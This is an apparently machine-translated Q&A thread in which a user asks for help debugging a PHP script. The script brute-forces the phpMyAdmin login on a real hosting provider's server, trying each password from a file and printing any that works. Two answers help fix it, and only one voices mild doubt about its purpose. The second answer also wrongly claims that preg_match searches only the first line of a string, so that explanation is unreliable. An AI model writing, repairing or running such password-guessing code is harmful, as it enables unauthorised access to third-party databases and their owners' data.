0

phpmyadmin のログイン スクリプトをコーディングしようとしています。

<?php    
$user = "Domain";
$passwords = file("passwords.txt");

foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>

私の問題はそれです、それはここでは機能しません

echo "Login Worked with: {$pass}";

問題が見えますか?

4

2 に答える 2

1

必ずしも問題の解決策とは限りませんが、いくつかの基本的なエラー チェックによって正しい方向に進む可能性があります。あなたの問題は、ファイルへの最初の呼び出しから始まるかもしれません。

$passwords = file("passwords.txt");

if (!$passwords) {
 echo 'Unable to read password file';
} //etc

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");

if (!$source) {
 echo 'Unable to read file source';
} //etc

また、ファイルシステム外のファイルでこの関数を呼び出していた場合、ブラウザーで呼び出した場合と同様の出力 (HTML) しか得られません (それが意図したものかどうかはわかりません)。

于 2009-02-07T23:14:56.733 に答える
0
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):

$source の値は、URL を取得するための完全な HTML 応答になります。

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $user&pma_password=$pass

preg_match は、その文字列の最初の行でのみ一致します。ファイル全体で一致するように、文字列を別の方法で解析するか、改行文字を置き換える必要があります。

また、ユーザー名「ドメイン」とさまざまなパスワードを使用して、データベースへのログインをテストしているようです。それがあなたの意図であったかどうかはわかりませんが、少し奇妙に思えます。

于 2009-03-06T20:51:09.853 に答える